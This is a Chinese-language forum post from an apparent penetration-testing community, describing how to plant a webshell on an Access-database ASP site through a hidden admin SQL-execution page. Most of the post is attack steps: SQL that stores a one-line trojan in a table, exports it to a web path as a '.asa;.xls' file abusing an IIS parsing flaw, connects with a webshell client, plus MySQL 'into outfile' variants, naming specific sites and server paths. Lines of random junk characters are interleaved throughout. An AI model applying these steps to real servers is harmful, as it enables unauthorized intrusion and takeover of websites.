中国网络渗透测试联盟
标题:
ACCESS执行SQL命令导出一句话SHELL
[打印本页]
作者:
admin
时间:
2012-9-13 17:53
标题:
ACCESS执行SQL命令导出一句话SHELL
好不容易进了后台,发现啥上传啊。备份啊多木有。
; }) j. j* o4 _4 |! c8 T
webshell一直拿不到。后来翻了一下源码。有一个执行SQL命令的
9 R/ k+ H. {6 e+ H o
文件。可后台没显示这功能。直接填上文件名字,执行命令的选项出来了,
* Z( A* Z" x' M7 d( n" X1 }( y
然后就试用了下面的命令导出一句话木马。没想到成功了。命令方法如下:
$ s- i5 O3 F+ |
1.create table cmd (a varchar(50))
: l3 V9 r! f% [) B9 ?
2.insert into cmd (a) values (‘‘)
4 @8 y! r( S- F" r( B Z
3.select * into [a] in ‘D:\wwwroot\
www.koohik.com
\hacker.asa;.xls’ ‘excel 4.0;’ from cmd
- E f& w# I: P; v
(把表cmd的内容导出为物理路径的一个EXCEL文件)
+ C& P6 h8 k! b3 q4 l! U
4.drop table cmd
% A+ b$ p) N8 E
利用IIS的BUG成功拿到了WEBSHELL。
1 p8 ^$ S$ _9 r0 E
, I+ v) u) A# y; k; {
直接菜刀里连接
http://www.chouwazi.com/data/xiao.asp;xiao.xls
一句话
2 {6 K4 N2 ]1 Q
7 A& Q) X5 s8 c" ^9 @. m; ?9 _+ \
SQL语句意思解释:
) ]" \4 P$ V/ h
第一句
) |- [8 S/ x$ ]+ S
建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为50
; [! X+ F7 \& R% W
" B( B# u( `8 K* \$ r
第二句
7 @/ Y/ Y0 k4 R) v. E9 u4 u
在表cmd的a字段插入一句话木马
1 W; S! B# P% ~: x: k/ b
第三句
5 o# }/ h s- `. V
把cmd表a的内容导出到路径e:\host\chouwazi.com\web\data\的EXCEL文件
9 N0 M1 @8 Y8 J4 J
' D8 M. V/ P3 @& p* Z
第四句
- K9 _, B0 M: l; |; o; h
删除建立的cmd表
+ y5 _1 I+ L& m
( Y; `1 _; l4 Y$ ^7 l" X( O' p
以下内容为测试:
8 q% B- H+ s/ |% @% ?+ E( g- n/ k
Access利用后台SQL执行命令功能导出WebShell:
4 i* E5 n+ Y1 t% p: R+ O
这个更简单:
7 `/ T: g; M% m3 t! P3 s
[ol][li]Select 'asp一句话木马' into [vote] in 'd:/chouwazi.com/x.asp;.xls' 'excel 8.0;' from vote [/li][/ol]
) H$ s7 M: ?2 T$ @
或者
4 Q u; f1 V$ z6 E4 n# c
[ol][li]Select 'php一句话木马' into outfile 'F:/wwwroot/chouwazi.com/eval.php'; [/li][/ol]
# z, F7 H$ o: X; Q" _: t' X
3 G- x$ z; t! R& s2 n- V
后台有执行SQL语句功能(vote为已知表段)
( u2 J g2 v) W6 S: Q$ j
希望对大家有所帮助拿shell的又一个思路
% R% X! @0 n+ I* z- h) u$ `& Y8 F
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2